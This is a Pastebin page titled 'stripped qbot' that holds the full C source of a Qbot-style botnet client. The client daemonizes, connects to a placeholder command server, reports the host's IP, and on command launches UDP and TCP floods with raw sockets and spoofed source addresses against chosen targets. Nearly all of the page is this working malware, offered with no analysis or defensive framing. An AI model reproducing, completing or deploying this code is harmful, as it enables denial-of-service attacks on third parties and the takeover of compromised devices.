Advertisement
Guest User

stripped qbot

a guest
Jan 16th, 2017
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.90 KB | None | 0 0
  1. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  2. #define PAD_RIGHT 1
  3. #define PAD_ZERO 2
  4. #define PRINT_BUF_LEN 12
  5. #include <stdlib.h>
  6. #include <stdarg.h>
  7. #include <stdio.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11. #include <arpa/inet.h>
  12. #include <netdb.h>
  13. #include <signal.h>
  14. #include <strings.h>
  15. #include <string.h>
  16. #include <sys/utsname.h>
  17. #include <unistd.h>
  18. #include <fcntl.h>
  19. #include <errno.h>
  20. #include <netinet/ip.h>
  21. #include <netinet/udp.h>
  22. #include <netinet/tcp.h>
  23. #include <sys/wait.h>
  24. #include <sys/ioctl.h>
  25. #include <net/if.h>
  26. unsigned char *commServer[] =
  27. {
  28.     "IP:PORT"
  29. };
  30. int initConnection();
  31. void makeRandomStr(unsigned char *buf, int length);
  32. int sockprintf(int sock, char *formatStr, ...);
  33. char *inet_ntoa(struct in_addr in);
  34. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  35. uint32_t *pids;
  36. uint64_t numpids = 0;
  37. struct in_addr ourIP;
  38. unsigned char macAddress[6] = {0};
  39. #define PHI 0x9e3779b9
  40. static uint32_t Q[4096], c = 362436;
  41. void init_rand(uint32_t x)
  42. {
  43.     int i;
  44.     Q[0] = x;
  45.     Q[1] = x + PHI;
  46.     Q[2] = x + PHI + PHI;
  47.     for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  48. }
  49. uint32_t rand_cmwc(void)
  50. {
  51.     uint64_t t, a = 18782LL;
  52.     static uint32_t i = 4095;
  53.     uint32_t x, r = 0xfffffffe;
  54.     i = (i + 1) & 4095;
  55.     t = a * Q[i] + c;
  56.     c = (uint32_t)(t >> 32);
  57.     x = t + c;
  58.     if (x < c) {
  59.         x++;
  60.         c++;
  61.     }
  62.     return (Q[i] = r - x);
  63. }
  64. void trim(char *str)
  65. {
  66.     int i;
  67.     int begin = 0;
  68.     int end = strlen(str) - 1;
  69.  
  70.     while (isspace(str[begin])) begin++;
  71.  
  72.     while ((end >= begin) && isspace(str[end])) end--;
  73.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  74.  
  75.     str[i - begin] = '\0';
  76. }
  77.  
  78. static void printchar(unsigned char **str, int c)
  79. {
  80.     if (str) {
  81.         **str = c;
  82.         ++(*str);
  83.     }
  84.     else (void)write(1, &c, 1);
  85. }
  86.  
  87. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  88. {
  89.     register int pc = 0, padchar = ' ';
  90.  
  91.     if (width > 0) {
  92.         register int len = 0;
  93.         register const unsigned char *ptr;
  94.         for (ptr = string; *ptr; ++ptr) ++len;
  95.         if (len >= width) width = 0;
  96.         else width -= len;
  97.         if (pad & PAD_ZERO) padchar = '0';
  98.     }
  99.     if (!(pad & PAD_RIGHT)) {
  100.         for ( ; width > 0; --width) {
  101.             printchar (out, padchar);
  102.             ++pc;
  103.         }
  104.     }
  105.     for ( ; *string ; ++string) {
  106.         printchar (out, *string);
  107.         ++pc;
  108.     }
  109.     for ( ; width > 0; --width) {
  110.         printchar (out, padchar);
  111.         ++pc;
  112.     }
  113.  
  114.     return pc;
  115. }
  116.  
  117. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  118. {
  119.     unsigned char print_buf[PRINT_BUF_LEN];
  120.     register unsigned char *s;
  121.     register int t, neg = 0, pc = 0;
  122.     register unsigned int u = i;
  123.  
  124.     if (i == 0) {
  125.         print_buf[0] = '0';
  126.         print_buf[1] = '\0';
  127.         return prints (out, print_buf, width, pad);
  128.     }
  129.  
  130.     if (sg && b == 10 && i < 0) {
  131.         neg = 1;
  132.         u = -i;
  133.     }
  134.  
  135.     s = print_buf + PRINT_BUF_LEN-1;
  136.     *s = '\0';
  137.  
  138.     while (u) {
  139.         t = u % b;
  140.         if( t >= 10 )
  141.         t += letbase - '0' - 10;
  142.         *--s = t + '0';
  143.         u /= b;
  144.     }
  145.  
  146.     if (neg) {
  147.         if( width && (pad & PAD_ZERO) ) {
  148.             printchar (out, '-');
  149.             ++pc;
  150.             --width;
  151.         }
  152.         else {
  153.             *--s = '-';
  154.         }
  155.     }
  156.  
  157.     return pc + prints (out, s, width, pad);
  158. }
  159.  
  160. static int print(unsigned char **out, const unsigned char *format, va_list args )
  161. {
  162.     register int width, pad;
  163.     register int pc = 0;
  164.     unsigned char scr[2];
  165.  
  166.     for (; *format != 0; ++format) {
  167.         if (*format == '%') {
  168.             ++format;
  169.             width = pad = 0;
  170.             if (*format == '\0') break;
  171.             if (*format == '%') goto out;
  172.             if (*format == '-') {
  173.                 ++format;
  174.                 pad = PAD_RIGHT;
  175.             }
  176.             while (*format == '0') {
  177.                 ++format;
  178.                 pad |= PAD_ZERO;
  179.             }
  180.             for ( ; *format >= '0' && *format <= '9'; ++format) {
  181.                 width *= 10;
  182.                 width += *format - '0';
  183.             }
  184.             if( *format == 's' ) {
  185.                 register char *s = (char *)va_arg( args, int );
  186.                 pc += prints (out, s?s:"(null)", width, pad);
  187.                 continue;
  188.             }
  189.             if( *format == 'd' ) {
  190.                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  191.                 continue;
  192.             }
  193.             if( *format == 'x' ) {
  194.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  195.                 continue;
  196.             }
  197.             if( *format == 'X' ) {
  198.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  199.                 continue;
  200.             }
  201.             if( *format == 'u' ) {
  202.                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  203.                 continue;
  204.             }
  205.             if( *format == 'c' ) {
  206.                 scr[0] = (unsigned char)va_arg( args, int );
  207.                 scr[1] = '\0';
  208.                 pc += prints (out, scr, width, pad);
  209.                 continue;
  210.             }
  211.         }
  212.         else {
  213. out:
  214.             printchar (out, *format);
  215.             ++pc;
  216.         }
  217.     }
  218.     if (out) **out = '\0';
  219.     va_end( args );
  220.     return pc;
  221. }
  222. int listFork()
  223. {
  224.     uint32_t parent, *newpids, i;
  225.     parent = fork();
  226.     if (parent <= 0) return parent;
  227.     numpids++;
  228.     newpids = (uint32_t*)malloc((numpids + 1) * 4);
  229.     for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  230.     newpids[numpids - 1] = parent;
  231.     free(pids);
  232.     pids = newpids;
  233.     return parent;
  234. }
  235. int zprintf(const unsigned char *format, ...)
  236. {
  237.     va_list args;
  238.     va_start( args, format );
  239.     return print( 0, format, args );
  240. }
  241. int szprintf(unsigned char *out, const unsigned char *format, ...)
  242. {
  243.     va_list args;
  244.     va_start( args, format );
  245.     return print( &out, format, args );
  246. }
  247. int sockprintf(int sock, char *formatStr, ...)
  248. {
  249.     unsigned char *textBuffer = malloc(2048);
  250.     memset(textBuffer, 0, 2048);
  251.     char *orig = textBuffer;
  252.     va_list args;
  253.     va_start(args, formatStr);
  254.     print(&textBuffer, formatStr, args);
  255.     va_end(args);
  256.     orig[strlen(orig)] = '\n';
  257.     zprintf("buf: %s\n", orig);
  258.     int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  259.     free(orig);
  260.     return q;
  261. }
  262.  
  263. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  264. {
  265.     int got = 1, total = 0;
  266.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  267.     return got == 0 ? NULL : buffer;
  268. }
  269. static const long hextable[] = {
  270.     [0 ... 255] = -1,
  271.     ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  272.     ['A'] = 10, 11, 12, 13, 14, 15,
  273.     ['a'] = 10, 11, 12, 13, 14, 15
  274. };
  275. long parseHex(unsigned char *hex)
  276. {
  277.     long ret = 0;
  278.     while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  279.     return ret;
  280. }
  281. int wildString(const unsigned char* pattern, const unsigned char* string) {
  282.     switch(*pattern)
  283.     {
  284.     case '\0': return *string;
  285.     case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  286.     case '?': return !(*string && !wildString(pattern+1, string+1));
  287.     default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  288.     }
  289. }
  290. int getHost(unsigned char *toGet, struct in_addr *i)
  291. {
  292.     struct hostent *h;
  293.     if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  294.     return 0;
  295. }
  296. void uppercase(unsigned char *str)
  297. {
  298.     while(*str) { *str = toupper(*str); str++; }
  299. }
  300. void makeRandomStr(unsigned char *buf, int length)
  301. {
  302.     int i = 0;
  303.     for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  304. }
  305. int recvLine(int socket, unsigned char *buf, int bufsize)
  306. {
  307.     memset(buf, 0, bufsize);
  308.     fd_set myset;
  309.     struct timeval tv;
  310.     tv.tv_sec = 30;
  311.     tv.tv_usec = 0;
  312.     FD_ZERO(&myset);
  313.     FD_SET(socket, &myset);
  314.     int selectRtn, retryCount;
  315.     if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  316.         while(retryCount < 10)
  317.         {
  318.             sockprintf(mainCommSock, "PING");
  319.  
  320.             tv.tv_sec = 30;
  321.             tv.tv_usec = 0;
  322.             FD_ZERO(&myset);
  323.             FD_SET(socket, &myset);
  324.             if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  325.                 retryCount++;
  326.                 continue;
  327.             }
  328.             break;
  329.         }
  330.     }
  331.     unsigned char tmpchr;
  332.     unsigned char *cp;
  333.     int count = 0;
  334.     cp = buf;
  335.     while(bufsize-- > 1)
  336.     {
  337.         if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  338.             *cp = 0x00;
  339.             return -1;
  340.         }
  341.         *cp++ = tmpchr;
  342.         if(tmpchr == '\n') break;
  343.         count++;
  344.     }
  345.     *cp = 0x00;
  346.     zprintf("recv: %s\n", cp);
  347.     return count;
  348. }
  349. int connectTimeout(int fd, char *host, int port, int timeout)
  350. {
  351.     struct sockaddr_in dest_addr;
  352.     fd_set myset;
  353.     struct timeval tv;
  354.     socklen_t lon;
  355.     int valopt;
  356.     long arg = fcntl(fd, F_GETFL, NULL);
  357.     arg |= O_NONBLOCK;
  358.     fcntl(fd, F_SETFL, arg);
  359.     dest_addr.sin_family = AF_INET;
  360.     dest_addr.sin_port = htons(port);
  361.     if(getHost(host, &dest_addr.sin_addr)) return 0;
  362.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  363.     int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  364.     if (res < 0) {
  365.         if (errno == EINPROGRESS) {
  366.             tv.tv_sec = timeout;
  367.             tv.tv_usec = 0;
  368.             FD_ZERO(&myset);
  369.             FD_SET(fd, &myset);
  370.             if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  371.                 lon = sizeof(int);
  372.                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  373.                 if (valopt) return 0;
  374.             }
  375.             else return 0;
  376.         }
  377.         else return 0;
  378.     }
  379.     arg = fcntl(fd, F_GETFL, NULL);
  380.     arg &= (~O_NONBLOCK);
  381.     fcntl(fd, F_SETFL, arg);
  382.     return 1;
  383. }
  384.  
  385. in_addr_t getRandomIP(in_addr_t netmask)
  386. {
  387.     in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  388.     return tmp ^ ( rand_cmwc() & ~netmask);
  389. }
  390. unsigned short csum (unsigned short *buf, int count)
  391. {
  392.     register uint64_t sum = 0;
  393.     while( count > 1 ) { sum += *buf++; count -= 2; }
  394.     if(count > 0) { sum += *(unsigned char *)buf; }
  395.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  396.     return (uint16_t)(~sum);
  397. }
  398. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  399. {
  400.     struct tcp_pseudo
  401.     {
  402.         unsigned long src_addr;
  403.         unsigned long dst_addr;
  404.         unsigned char zero;
  405.         unsigned char proto;
  406.         unsigned short length;
  407.     } pseudohead;
  408.     unsigned short total_len = iph->tot_len;
  409.     pseudohead.src_addr=iph->saddr;
  410.     pseudohead.dst_addr=iph->daddr;
  411.     pseudohead.zero=0;
  412.     pseudohead.proto=IPPROTO_TCP;
  413.     pseudohead.length=htons(sizeof(struct tcphdr));
  414.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  415.     unsigned short *tcp = malloc(totaltcp_len);
  416.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  417.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  418.     unsigned short output = csum(tcp,totaltcp_len);
  419.     free(tcp);
  420.     return output;
  421. }
  422. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  423. {
  424.     iph->ihl = 5;
  425.     iph->version = 4;
  426.     iph->tos = 0;
  427.     iph->tot_len = sizeof(struct iphdr) + packetSize;
  428.     iph->id = rand_cmwc();
  429.     iph->frag_off = 0;
  430.     iph->ttl = MAXTTL;
  431.     iph->protocol = protocol;
  432.     iph->check = 0;
  433.     iph->saddr = source;
  434.     iph->daddr = dest;
  435. }
  436. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  437. {
  438.     struct sockaddr_in dest_addr;
  439.     dest_addr.sin_family = AF_INET;
  440.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  441.     else dest_addr.sin_port = htons(port);
  442.     if(getHost(target, &dest_addr.sin_addr)) return;
  443.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  444.     register unsigned int pollRegister;
  445.     pollRegister = pollinterval;
  446.     if(spoofit == 32)
  447.     {
  448.         int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  449.         if(!sockfd)
  450.         {
  451.             return;
  452.         }
  453.         unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  454.         if(buf == NULL) return;
  455.         memset(buf, 0, packetsize + 1);
  456.         makeRandomStr(buf, packetsize);
  457.         int end = time(NULL) + timeEnd;
  458.         register unsigned int i = 0;
  459.         while(1)
  460.         {
  461.             sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  462.             if(i == pollRegister)
  463.             {
  464.                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  465.                 if(time(NULL) > end) break;
  466.                 i = 0;
  467.                 continue;
  468.             }
  469.             i++;
  470.         }
  471.     } else {
  472.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  473.         if(!sockfd)
  474.         {
  475.             return;
  476.         }
  477.         int tmp = 1;
  478.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  479.         {
  480.             return;
  481.         }
  482.         int counter = 50;
  483.         while(counter--)
  484.         {
  485.             srand(time(NULL) ^ rand_cmwc());
  486.             init_rand(rand());
  487.         }
  488.         in_addr_t netmask;
  489.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  490.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  491.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  492.         struct iphdr *iph = (struct iphdr *)packet;
  493.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  494.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  495.         udph->len = htons(sizeof(struct udphdr) + packetsize);
  496.         udph->source = rand_cmwc();
  497.         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  498.         udph->check = 0;
  499.         makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  500.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  501.         int end = time(NULL) + timeEnd;
  502.         register unsigned int i = 0;
  503.         while(1)
  504.         {
  505.             sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  506.             udph->source = rand_cmwc();
  507.             udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  508.             iph->id = rand_cmwc();
  509.             iph->saddr = htonl( getRandomIP(netmask) );
  510.             iph->check = csum ((unsigned short *) packet, iph->tot_len);
  511.             if(i == pollRegister)
  512.             {
  513.                 if(time(NULL) > end) break;
  514.                 i = 0;
  515.                 continue;
  516.             }
  517.             i++;
  518.         }
  519.     }
  520. }
  521. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  522. {
  523.     register unsigned int pollRegister;
  524.     pollRegister = pollinterval;
  525.     struct sockaddr_in dest_addr;
  526.     dest_addr.sin_family = AF_INET;
  527.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  528.     else dest_addr.sin_port = htons(port);
  529.     if(getHost(target, &dest_addr.sin_addr)) return;
  530.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  531.     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  532.     if(!sockfd)
  533.     {
  534.         return;
  535.     }
  536.     int tmp = 1;
  537.     if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  538.     {
  539.         return;
  540.     }
  541.     in_addr_t netmask;
  542.     if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  543.     else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  544.     unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  545.     struct iphdr *iph = (struct iphdr *)packet;
  546.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  547.     makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  548.     tcph->source = rand_cmwc();
  549.     tcph->seq = rand_cmwc();
  550.     tcph->ack_seq = 0;
  551.     tcph->doff = 5;
  552.     if(!strcmp(flags, "all"))
  553.     {
  554.         tcph->syn = 1;
  555.         tcph->rst = 1;
  556.         tcph->fin = 1;
  557.         tcph->ack = 1;
  558.         tcph->psh = 1;
  559.     } else {
  560.         unsigned char *pch = strtok(flags, ",");
  561.         while(pch)
  562.         {
  563.             if(!strcmp(pch,         "syn"))
  564.             {
  565.                 tcph->syn = 1;
  566.             } else if(!strcmp(pch,  "rst"))
  567.             {
  568.                 tcph->rst = 1;
  569.             } else if(!strcmp(pch,  "fin"))
  570.             {
  571.                 tcph->fin = 1;
  572.             } else if(!strcmp(pch,  "ack"))
  573.             {
  574.                 tcph->ack = 1;
  575.             } else if(!strcmp(pch,  "psh"))
  576.             {
  577.                 tcph->psh = 1;
  578.             } else {
  579.             }
  580.             pch = strtok(NULL, ",");
  581.         }
  582.     }
  583.     tcph->window = rand_cmwc();
  584.     tcph->check = 0;
  585.     tcph->urg_ptr = 0;
  586.     tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  587.     tcph->check = tcpcsum(iph, tcph);
  588.     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  589.     int end = time(NULL) + timeEnd;
  590.     register unsigned int i = 0;
  591.     while(1)
  592.     {
  593.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  594.         iph->saddr = htonl( getRandomIP(netmask) );
  595.         iph->id = rand_cmwc();
  596.         tcph->seq = rand_cmwc();
  597.         tcph->source = rand_cmwc();
  598.         tcph->check = 0;
  599.         tcph->check = tcpcsum(iph, tcph);
  600.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  601.  
  602.         if(i == pollRegister)
  603.         {
  604.             if(time(NULL) > end) break;
  605.             i = 0;
  606.             continue;
  607.         }
  608.         i++;
  609.     }
  610. }
  611. void processCmd(int argc, unsigned char *argv[])
  612. {
  613.     if(!strcmp(argv[0], "GETLOCALIP"))
  614.     {
  615.         sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  616.         return;
  617.     }
  618.     if(!strcmp(argv[0], "UDP"))
  619.     {
  620.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  621.         {
  622.             return;
  623.         }
  624.         unsigned char *ip = argv[1];
  625.         int port = atoi(argv[2]);
  626.         int time = atoi(argv[3]);
  627.         int spoofed = atoi(argv[4]);
  628.         int packetsize = atoi(argv[5]);
  629.         int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  630.         if(strstr(ip, ",") != NULL)
  631.         {
  632.             unsigned char *hi = strtok(ip, ",");
  633.             while(hi != NULL)
  634.             {
  635.                 if(!listFork())
  636.                 {
  637.                     sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  638.                     close(mainCommSock);
  639.                     _exit(0);
  640.                 }
  641.                 hi = strtok(NULL, ",");
  642.             }
  643.         } else {
  644.             if (listFork()) { return; }
  645.             sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  646.             close(mainCommSock);
  647.             _exit(0);
  648.         }
  649.     }
  650.     if(!strcmp(argv[0], "TCP"))
  651.     {
  652.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  653.         {
  654.             return;
  655.         }
  656.         unsigned char *ip = argv[1];
  657.         int port = atoi(argv[2]);
  658.         int time = atoi(argv[3]);
  659.         int spoofed = atoi(argv[4]);
  660.         unsigned char *flags = argv[5];
  661.         int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  662.         int psize = argc > 6 ? atoi(argv[6]) : 0;
  663.         if(strstr(ip, ",") != NULL)
  664.         {
  665.             unsigned char *hi = strtok(ip, ",");
  666.             while(hi != NULL)
  667.             {
  668.                 if(!listFork())
  669.                 {
  670.                     sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  671.                     close(mainCommSock);
  672.                     _exit(0);
  673.                 }
  674.                 hi = strtok(NULL, ",");
  675.             }
  676.         } else {
  677.             if (listFork()) { return; }
  678.             sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  679.             close(mainCommSock);
  680.             _exit(0);
  681.         }
  682.     }
  683.     if(!strcmp(argv[0], "KILLATTK"))
  684.     {
  685.         int killed = 0;
  686.         unsigned long i;
  687.         for (i = 0; i < numpids; i++) {
  688.             if (pids[i] != 0 && pids[i] != getpid()) {
  689.                 kill(pids[i], 9);
  690.                 killed++;
  691.             }
  692.         }
  693.  
  694.         if(killed > 0)
  695.         {
  696.         } else {
  697.         }
  698.     }
  699.     if(!strcmp(argv[0], "LOLNOGTFO"))
  700.     {
  701.         exit(0);
  702.     }
  703. }
  704. int initConnection()
  705. {
  706.     unsigned char server[512];
  707.     memset(server, 0, 512);
  708.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  709.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  710.     else currentServer++;
  711.     strcpy(server, commServer[currentServer]);
  712.     int port = 6667;
  713.     if(strchr(server, ':') != NULL)
  714.     {
  715.         port = atoi(strchr(server, ':') + 1);
  716.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  717.     }
  718.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  719.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  720.     return 0;
  721. }
  722. int getOurIP()
  723. {
  724.     int sock = socket(AF_INET, SOCK_DGRAM, 0);
  725.     if(sock == -1) return 0;
  726.     struct sockaddr_in serv;
  727.     memset(&serv, 0, sizeof(serv));
  728.     serv.sin_family = AF_INET;
  729.     serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  730.     serv.sin_port = htons(53);
  731.     int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  732.     if(err == -1) return 0;
  733.     struct sockaddr_in name;
  734.     socklen_t namelen = sizeof(name);
  735.     err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  736.     if(err == -1) return 0;
  737.     ourIP.s_addr = name.sin_addr.s_addr;
  738.     int cmdline = open("/proc/net/route", O_RDONLY);
  739.     char linebuf[4096];
  740.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  741.     {
  742.         if(strstr(linebuf, "\t00000000\t") != NULL)
  743.         {
  744.             unsigned char *pos = linebuf;
  745.             while(*pos != '\t') pos++;
  746.             *pos = 0;
  747.             break;
  748.         }
  749.         memset(linebuf, 0, 4096);
  750.     }
  751.     close(cmdline);
  752.     if(*linebuf)
  753.     {
  754.         int i;
  755.         struct ifreq ifr;
  756.         strcpy(ifr.ifr_name, linebuf);
  757.         ioctl(sock, SIOCGIFHWADDR, &ifr);
  758.         for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  759.     }
  760.  
  761.     close(sock);
  762. }
  763. int main(int argc, unsigned char *argv[])
  764. {
  765.     if(SERVER_LIST_SIZE <= 0) return 0;
  766.     srand(time(NULL) ^ getpid());
  767.     init_rand(time(NULL) ^ getpid());
  768.     pid_t pid1;
  769.     pid_t pid2;
  770.     int status;
  771.     getOurIP();
  772.     zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
  773.     if (pid1 = fork()) {
  774.             waitpid(pid1, &status, 0);
  775.             exit(0);
  776.     } else if (!pid1) {
  777.             if (pid2 = fork()) {
  778.                     exit(0);
  779.             } else if (!pid2) {
  780.             } else {
  781.             }
  782.     } else {
  783.     }
  784.     setsid();
  785.     chdir("/");
  786.     signal(SIGPIPE, SIG_IGN);
  787.     while(1)
  788.     {
  789.         if(initConnection()) { sleep(5); continue; }
  790.         char commBuf[4096];
  791.         int got = 0;
  792.         int i = 0;
  793.         while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  794.         {
  795.             for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  796.                 unsigned int *newpids, on;
  797.                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  798.                 pids[on - 1] = 0;
  799.                 numpids--;
  800.                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  801.                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  802.                 free(pids);
  803.                 pids = newpids;
  804.             }
  805.             commBuf[got] = 0x00;
  806.             trim(commBuf);
  807.             if(strstr(commBuf, "PING") == commBuf)
  808.             {
  809.                 continue;
  810.             }
  811.             if(strstr(commBuf, "DUP") == commBuf) exit(0);
  812.             unsigned char *message = commBuf;
  813.             if(*message == '!')
  814.             {
  815.                 unsigned char *nickMask = message + 1;
  816.                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  817.                 if(*nickMask == 0x00) continue;
  818.                 *(nickMask) = 0x00;
  819.                 nickMask = message + 1;
  820.                 message = message + strlen(nickMask) + 2;
  821.                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  822.                 unsigned char *command = message;
  823.                 while(*message != ' ' && *message != 0x00) message++;
  824.                 *message = 0x00;
  825.                 message++;
  826.                 unsigned char *tmpcommand = command;
  827.                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  828.                 unsigned char *params[10];
  829.                 int paramsCount = 1;
  830.                 unsigned char *pch = strtok(message, " ");
  831.                 params[0] = command;
  832.                 while(pch)
  833.                 {
  834.                     if(*pch != '\n')
  835.                     {
  836.                         params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  837.                         memset(params[paramsCount], 0, strlen(pch) + 1);
  838.                         strcpy(params[paramsCount], pch);
  839.                         paramsCount++;
  840.                     }
  841.                     pch = strtok(NULL, " ");
  842.                 }
  843.                 processCmd(paramsCount, params);
  844.                 if(paramsCount > 1)
  845.                 {
  846.                     int q = 1;
  847.                     for(q = 1; q < paramsCount; q++)
  848.                     {
  849.                         free(params[q]);
  850.                     }
  851.                 }
  852.             }
  853.         }
  854.     }
  855.     return 0;
  856. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement